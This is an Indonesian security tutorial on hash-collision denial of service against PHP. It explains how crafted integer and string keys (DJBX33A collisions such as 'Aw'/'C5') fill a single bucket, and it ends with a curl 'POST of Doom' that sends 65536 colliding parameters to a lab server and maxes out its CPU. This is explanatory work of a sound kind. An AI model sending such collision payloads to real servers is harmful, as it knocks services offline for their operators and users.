<p style="text-align: justify;">Skenario dalam gambar di atas adalah memasukkan 6 data dalam urutan K1, K2, K4, K5, K6, K7. K1 dimasukkan dalam bucket no. 1, kemudian diikuti dengan K2 dalam bucket no. m. Berikutnya adalah K4 dimasukkan dalam bucket no.2. Ketika memasukkan K5, ternyata dimasukkan dalam bucket no.1 yang sudah berisi K1 sebelumnya. Jadi K5 dan K1 membentuk linked list dalam bucket no. 1. Begitu juga dengan K6 dan K7 dimasukkan dalam bucket yang sama dengan K2 sehingga membentuk linked list dalam bucket no. m.</p>
<p style="text-align: justify;">Selain dalam arBuckets, juga ada linked list global yang menyimpan semua data dalam hash table. Hashtable menyimpan pointer ke data pertama (pListHead), pointer internal dan pointer ke data terakhir (pListTail).</p>
<p style="text-align: justify;"><strong>Key to Bucket</strong></p>
<p style="text-align: justify;">Bagaimana proses mengubah dari key menjadi lokasi bucket dalam hash table? Secara umum prosesnya adalah sebagai berikut:</p>
<ol>
<li>hash(key) =&gt; hashcode berupa integer</li>
<li>hashcode diubah menjadi index dari 0-table size dengan cara modulo atau bit masking</li>
</ol>
<p style="text-align: justify;">Keluaran fungsi hash adalah integer yang berukuran besar, padahal ukuran hash table biasanya tidak besar. Secara default di PHP ukuran hash table adalah 8 bucket sehingga untuk hash table berukuran 8, hashcode harus diubah menjadi nilai integer dari 0 s/d 7.</p>
<p style="text-align: justify;">Cara pertama adalah dengan modulo, suatu integer berapapun besarnya bila di modulo dengan 8, hasilnya pasti antara 0 s/d 7. Cara kedua adalah masking dengan operasi AND. Suatu integer 32 bit, bila di-AND dengan 111, hasilnya adalah semua bit diubah menjadi 0 kecuali bit-1 sampai bit ke-3 yang tetap apa adanya. Hasil dari masking ini adalah integer antara 0 s/d 7. PHP memakai cara yang kedua, yaitu AND masking dengan (nTableSize-1).</p>
<p style="text-align: justify;">PHP membedakan antara key berupa integer dan key berupa string. Bila key adalah integer, maka hashcode adalah key itu sendiri. Bila key adalah string, maka fungsi hash akan mengubahnya menjadi hashcode berupa integer.</p>
<p style="text-align: justify;">Dari proses pengubahan key menjadi lokasi bucket bisa disimpulkan ada 2 kondisi agar terjadi collision:</p>
<ol>
<li>Memilih key yang menghasilkan hash code yang sama. Hash code yang sama tentu akan menghasilkan posisi index bucket yang sama setelah dilakukan operasi masking AND.</li>
<li>Memilih key dengan hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND.</li>
</ol>
<p style="text-align: justify;">Mari kita coba cara yang ke-2 di bawah ini.</p>
<p><strong>Hash Collision dengan Key Integer</strong></p>
<p style="text-align: justify;"><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nikicsrc.jpg"><img title="nikicsrc" src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/nikicsrc.jpg" alt="" width="516" height="108" /></a></p>
<p style="text-align: justify;">Gambar di atas adalah eksekusi dari source php dari situs <a href="http://nikic.github.com/2011/12/28/Supercolliding-a-PHP-array.html">nikic.github.com</a>. Dua kasus tersebut tugas yang dikerjakan sama, yaitu memasukkan angka 0 sebanyak 65536 ke dalam hash table. Hanya saja perbedaannya, kasus pertama disengaja memasukkan 65536 angka 0 tersebut seluruhnya di bucket yang sama (100% collision) , akibatnya prosesor harus bekerja ekstra keras dan dibutuhkan waktu 115 detik untuk menyelesaikan tugasnya. Normalnya hanya dibutuhkan waktu 0.04 detik saja. Sangat signifikan perbedaannya bukan?</p>
<p style="text-align: justify;">Kasus di atas adalah 100% collision dengan cara yang ke-2, yaitu memilih key yang memiliki hash code berbeda namun menghasilkan index bucket yang sama setelah dilakukan masking AND. Mari kita lihat source codenya:</p>
<p style="text-align: justify;">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> 
<span style="color: #000088;">$size</span> <span style="color: #339933;">=</span> <span style="color: #990000;">pow</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">2</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">16</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">// 16 is just an example, could also be 15 or 17</span>
<span style="color: #000088;">$startTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxKey</span> <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$size</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">*</span> <span style="color: #000088;">$size</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$maxKey</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">+=</span> <span style="color: #000088;">$size</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$endTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Inserting '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$size</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' evil elements took '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$endTime</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$startTime</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' seconds'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$startTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$array</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$key</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxKey</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$size</span> <span style="color: #339933;">-</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #000088;">$key</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$maxKey</span><span style="color: #339933;">;</span> <span style="color: #339933;">++</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000088;">$array</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$key</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #000088;">$endTime</span> <span style="color: #339933;">=</span> <span style="color: #990000;">microtime</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">'Inserting '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$size</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' good elements took '</span><span style="color: #339933;">,</span> <span style="color: #000088;">$endTime</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$startTime</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">' seconds'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">?&gt;</span></pre></div></div>

</p>
<p style="text-align: justify;">
Mengapa bisa terjadi 100% collision? Perhatikan tabel di bawah ini.
</p>
<p style="text-align: justify;">
<a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/keymask.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/keymask.jpg" alt="" title="keymask" width="360" height="121" class="aligncenter size-full wp-image-2827" /></a>
</p>
<p style="text-align: justify;">
Karena key berupa integer, maka hash code sama dengan key. Karena size adalah 8, maka bit mask adalah 111 (7 desimal). Key dipilih 0, 8, 16 dan seterusnya kelipatan 8 karena key tersebut dalam binary 3 bit paling bawahnya bernilai 000. Karena 3 bit paling bawah dari key selalu 000, maka ketika dilakukan operasi AND dengan 0111, hasilnya selalu 0. Jadi semua key yang dipilih (0,8,16,24&#8230;) menghasilkan index bucket yang sama yaitu bucket 0 sehingga semua data berkumpul di bucket 0 (100% collision).
</p>
<p><strong>Hash Collision dengan Key String</strong></p>
<p style="text-align: justify;">
Perbedaan antara key berupa integer dan string hanya pada hash code yang dihasilkan. PHP 5 menggunakan fungsi hash DJBX33A untuk mengubah string menjadi hashcode berupa integer. Selanjutnya hashcode juga akan dimasking dengan operasi AND. PHP 4 menggunakan fungsi hash yang sedikit berbeda, yaitu DJBX33X, kita akan membahas fungsi ini beserta eksploitasinya di artikel selanjutnya.
</p>
<p style="text-align: justify;">
Dalam kasus sebelumnya kita bisa dengan mudah memilih key yang menghasilkan 100% collision karena key yang digunakan adalah integer. Dalam kasus tersebut kita memakai cara yang ke-2, yaitu hash code berbeda, namun hasil masking menghasilkan index bucket yang sama. Dalam key berupa string kita akan memakai cara pertama, yaitu memilih key yang menghasilkan hash code yang sama.
</p>
<p style="text-align: justify;">
Sulit kah mencari key yang menghasilkan hash yang sama? Jangan dibayangkan hash disini adalah cryptographic hash seperti MD5 atau SHA yang memang sudah dirancang untuk sangat sulit mencari dua string dengan hash yang sama. Fungsi hash DJBX33A sangat sederhana, jadi tidak sesulit mencari collision di MD5 atau SHA.
</p>
<p style="text-align: justify;">
Di bawah ini adalah implementasi fungsi hash DJBX33A dalam php:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">static</span> <span style="color: #000000; font-weight: bold;">inline</span> ulong zend_inline_hash_func<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">,</span> uint nKeyLength<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
	<span style="color: #993333;">register</span> ulong hash <span style="color: #339933;">=</span> <span style="color: #0000dd;">5381</span><span style="color: #339933;">;</span>
&nbsp;
	<span style="color: #808080; font-style: italic;">/* variant with the hash unrolled eight times */</span>
	<span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">;</span> nKeyLength <span style="color: #339933;">&gt;=</span> <span style="color: #0000dd;">8</span><span style="color: #339933;">;</span> nKeyLength <span style="color: #339933;">-=</span> <span style="color: #0000dd;">8</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
		hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">switch</span> <span style="color: #009900;">&#40;</span>nKeyLength<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">7</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">6</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">5</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">4</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">3</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">2</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #808080; font-style: italic;">/* fallthrough... */</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">:</span> hash <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>hash <span style="color: #339933;">&lt;&lt;</span> <span style="color: #0000dd;">5</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> hash<span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>arKey<span style="color: #339933;">++;</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
		<span style="color: #b1b100;">case</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">:</span> <span style="color: #000000; font-weight: bold;">break</span><span style="color: #339933;">;</span>
EMPTY_SWITCH_DEFAULT_CASE<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">return</span> hash<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Walaupun terlihat panjang tapi sebenarnya source di atas adalah bentuk efisiensi saja dengan mengubah perkalian 33 dengan operasi shift left 5 kali ditambah hash satu kali, bentuk yang sederhananya adalah:
</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">hash_t bernstein_hash<span style="color: #009900;">&#40;</span><span style="color: #993333;">const</span> <span style="color: #993333;">unsigned</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>key<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
 hash_t h<span style="color: #339933;">=</span><span style="color: #0000dd;">5381</span><span style="color: #339933;">;</span>
 <span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">*</span>key<span style="color: #009900;">&#41;</span> h<span style="color: #339933;">=</span><span style="color: #0000dd;">33</span><span style="color: #339933;">*</span>h <span style="color: #339933;">+</span> <span style="color: #339933;">*</span>key<span style="color: #339933;">++;</span>
 <span style="color: #b1b100;">return</span> h<span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p style="text-align: justify;">
Mari kita lihat beberapa contoh hash. Dalam fungsi DJBX33A digunakan nilai awal hash 5381. Perlu diingat bahwa kode ascii A,B,C,D adalah 65,66,67,68.
</p>
<p style="text-align: justify;">
hash(&#8220;A&#8221;) = 5381&#215;33 + 65 = 5381&#215;33<sup>1</sup> + 65&#215;33<sup>0</sup><br />
hash(&#8220;AB&#8221;) = hash(&#8220;A&#8221;) x 33 + 66 = 5381&#215;33<sup>2</sup> + 65&#215;33<sup>1</sup> + 66&#215;33<sup>0</sup><br />
hash(&#8220;ABC&#8221;) = hash(&#8220;AB&#8221;) x 33 + 67 = 5381&#215;33<sup>3</sup> + 65&#215;33<sup>2</sup> + 66&#215;33<sup>1</sup> + 67&#215;33<sup>0</sup><br />
hash(&#8220;ABCD&#8221;) = hash(&#8220;ABC&#8221;) x 33 + 68 = 5381&#215;33<sup>4</sup> + 65&#215;33<sup>3</sup> + 66&#215;33<sup>2</sup> + 67&#215;33<sup>1</sup> + 68&#215;33<sup>0</sup>
</p>
<p style="text-align: justify;">
Dengan kata lain hash dari string S dengan panjang n adalah:<br />
5381&#215;33<sup>n</sup>+&sum; S[i] x 33<sup>n-i</sup>
</p>
<p style="text-align: justify;">
Dengan formula yang sederhana seperti ini kita bisa dengan mudah mencari beberapa string yang memiliki hash yang sama. Agar lebih sederhana kita gunakan nilai hash awal bukan 5381, tapi 0 saja. Mari kita coba cari dua string terdiri dua karakter diawali dengan huruf A dan huruf C, kita akan mencari huruf keduanya.
</p>
<p style="text-align: justify;">
hash(&#8220;A?&#8221;) = hash(&#8220;C?&#8221;)<br />
65 * 33 + x = 67 * 33 + y<br />
2145 + x = 2211 + y<br />
x &#8211; y = 66
</p>
<p style="text-align: justify;">
Kita sekarang tinggal mencari dua karakter yang selisih kode asciinya adalah 66. </p>
<ul>
<li>Bila x=122 (kode ascii &#8216;z&#8217;),y adalah 56 (kode ascii &#8217;8&#8242;),maka hash(&#8220;Az&#8221;)=hash(&#8220;C8&#8243;)</li>
<li>Bila x=121 (kode ascii &#8216;y&#8217;),y adalah 55 (kode ascii &#8217;7&#8242;),maka hash(&#8220;Ay&#8221;)=hash(&#8220;C7&#8243;)</li>
<li>Bila x=120 (kode ascii &#8216;x&#8217;),y adalah 54 (kode ascii &#8217;6&#8242;),maka hash(&#8220;Ax&#8221;)=hash(&#8220;C6&#8243;)</li>
<li>Bila x=119 (kode ascii &#8216;w&#8217;),y adalah 53 (kode ascii &#8217;5&#8242;),maka hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;)</li>
</ul>
<p style="text-align: justify;">
Kita bisa dengan mudah menemukan banyak collision dengan perhitungan sederhana seperti ini. Tapi selain dengan cara itu, kita bisa lebih jauh lagi mencari collision dengan teknik equivalent substring.
</p>
<p><b>Equivalent Substring</b></p>
<p style="text-align: justify;">
Karena fungsi hash DJBX33A sifatnya linear, maka bila diketahui hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;), akan berlaku:
</p>
<ul>
<li>hash(&#8220;prefix+Aw&#8221;)=hash(&#8220;prefix+C5&#8243;)</li>
<li>hash(&#8220;Aw+suffix&#8221;)=hash(&#8220;C5+suffix&#8221;)</li>
<li>hash(&#8220;prefix+Aw+suffix&#8221;)=hash(&#8220;prefix+C5+suffix&#8221;)</li>
</ul>
<p style="text-align: justify;">
Dengan cara ini kita bisa mengembangkan collision &#8220;Aw&#8221; dan &#8220;C5&#8243; menjadi ribuan collision lain dengan menambahkan random prefix dan suffix, contohnya:
</p>
<ul>
<li>hash(&#8220;xcvbAw&#8221;)=hash(&#8220;xcvbC5&#8243;)</li>
<li>hash(&#8220;52$$Aw&#8221;)=hash(&#8220;52$$C5&#8243;)</li>
<li>hash(&#8220;Aw889&#8243;)=hash(&#8220;C5889&#8243;)</li>
<li>hash(&#8220;Aw**&#8221;)=hash(&#8220;C5**&#8221;)</li>
<li>hash(&#8220;@@Aw**&#8221;)=hash(&#8220;@@C5**&#8221;)</li>
</ul>
<p style="text-align: justify;">
Mengapa equivalent substring ini berlaku? Kita lihat contoh berikut, bila diketahui hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;), sekarang kita coba tambahkan suffix &#8216;#&#8217;, berapakah h(&#8220;Aw#&#8221;) dan h(&#8220;C5#&#8221;) ?
</p>
<ul>
<li>h(&#8220;Aw&#8221;) = h(&#8220;C5&#8243;) = y</li>
<li>h(&#8220;Aw#&#8221;) = h(&#8220;Aw&#8221;) * 33 + ascii(&#8216;#&#8217;)</li>
<li>h(&#8220;C5#&#8221;) = h(&#8220;C5&#8243;) * 33 + ascii(&#8216;#&#8217;)</li>
<li>h(&#8220;Aw#&#8221;) = h(&#8220;C5#&#8221;) = y * 33 + ascii(&#8216;#&#8217;)</li>
</ul>
<p>Begitu juga dengan penambahan prefix. Mari kita lihat bila h(&#8220;Aw&#8221;)=h(&#8220;C5&#8243;) apakah h(&#8220;#Aw&#8221;)=h(&#8220;#C5&#8243;) juga?</p>
<ul>
<li>h(&#8220;Aw&#8221;) = h(&#8220;C5&#8243;) = y</li>
<li>h(&#8220;Aw&#8221;) = 5381*33^2 + 65*33 + 119</li>
<li>h(&#8220;C5&#8243;) = 5381*33^2 + 67*33 + 53</li>
<li>h(&#8220;#Aw&#8221;)=5381*33^3+35*33^2+65*33+119 = 5381*33^3 + 35*33^2 + h(&#8220;Aw&#8221;) &#8211; 5381*33^2</li>
<li>h(&#8220;#C5&#8243;)=5381*33^3+35*33^2+67*33+53&nbsp;&nbsp;&nbsp;= 5381*33^3 + 35*33^2 + h(&#8220;C5&#8243;) &#8211; 5381*33^2</li>
<li>h(&#8220;#Aw&#8221;) = h(&#8220;#C5&#8243;) = 5381*33^3 + 35*33^2 + y – 5381*33^2</li>
</ul>
<p><b>Attacking via POST data</b></p>
<p style="text-align: justify;">
Ketika kita mengirimkan request POST ke suatu file PHP, php akan menyiapkan sebuah hash table bernama $_POST untuk menampung parameter yang dikirim via POST request.
</p>
<p style="text-align: justify;">
Contoh di bawah ini adalah ketika kita mengirim POST request dengan curl, dan mengirimkan dua paramter ABC dan test kemudian isi hash table $_POST di-dump dengan print_r().
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d &quot;ABC=123&amp;test=aaa&quot;
Array
(
    [ABC] =&gt; 123
    [test] =&gt; aaa
)</pre></div></div>

<p style="text-align: justify;">
Kita bisa membuat prosesor di server bekerja ekstra keras dengan mengirimkan parameter POST yang 100% collision. Dengan teknik equivalent substring kita bisa meng-generate banyak parameter name yang menghasilkan collision. Sebagai contoh bila diketahui hash(&#8220;Aw&#8221;)=hash(&#8220;C5&#8243;), maka kita bisa mulai dari &#8220;AwAwAw&#8221; kemudian melakukan kombinasi dengan mengganti substring &#8220;Aw&#8221; dengan &#8220;C5&#8243;:</p>
<ul>
<li>AwAwAw</li>
<li>AwAwC5</li>
<li>AwC5Aw</li>
<li>C5AwAw</li>
<li>AwC5C5</li>
<li>C5C5C5</li>
</ul>
<p style="text-align: justify;">Bila kita mengirimkan POST request dengan post data: </p>
<p>&#8220;AwAwAw=&#038;AwAwC5&#038;AwC5Aw=&#038;C5AwAw=&#038;AwC5C5=&#038;C5C5C5=&#8221;</p>
<p style="text-align: justify;">maka 6 parameter post tersebut akan menghasilkan 100% collision. Tentu saja 6 collision saja tidak terasa efeknya, semakin banyak collision yang dikirim dalam satu request POST semakin berat kerja prosesor.</p>
</p>
<p style="text-align: justify;">
Di internet sudah banyak beredar parameter POST data yang menghasilkan 100% collision. Kita bisa meng-generate sendiri atau mengambil dari internet. Salah satu parameter post di internet adalah http://jrs-s.net/hashcollide.txt yang berisi 65536 parameter post:
</p>
<p><a href="http://www.ilmuhacking.com/wp-content/uploads/2012/01/postdoom.jpg"><img src="http://www.ilmuhacking.com/wp-content/uploads/2012/01/postdoom.jpg" alt="" title="postdoom" width="468" height="261" class="aligncenter size-full wp-image-2853" /></a></p>
<p><b>POST of Doom</b></p>
<p style="text-align: justify;">
Sekarang kita coba melakukan serangan DoS dengan menggunakan parameter name dari internet. Kita akan menggunakan curl sebagai tools untuk mengirimkan POST request ke target. Parameter post disimpan dalam file hashcollide.txt.
</p>

<div class="wp_syntax"><div class="code"><pre class="text" style="font-family:monospace;">root@bt:~# curl http://192.168.7.198/hashcollision/test2.php -d @hashcollide.txt -v 
* About to connect() to 192.168.7.198 port 80 (#0)
*   Trying 192.168.7.198... connected
* Connected to 192.168.7.198 (192.168.7.198) port 80 (#0)
&gt; POST /hashcollision/test2.php HTTP/1.1
&gt; User-Agent: curl/7.19.7 (i486-pc-linux-gnu) libcurl/7.19.7 OpenSSL/0.9.8k zlib/1.2.3.3 libidn/1.15
&gt; Host: 192.168.7.198
&gt; Accept: */*
&gt; Content-Length: 1441792
&gt; Content-Type: application/x-www-form-urlencoded
&gt; Expect: 100-continue
&gt; 
&lt; HTTP/1.1 100 Continue</pre></div></div>

<p style="text-align: justify;">
Cukup 2 request POST of Doom seperti ini saja prosesor sudah terpakai 100%. Dalam kasus ini dibutuhkan dua request POST karena masing-masing request menghabiskan 50% cpu dari dual core processor.
</p>
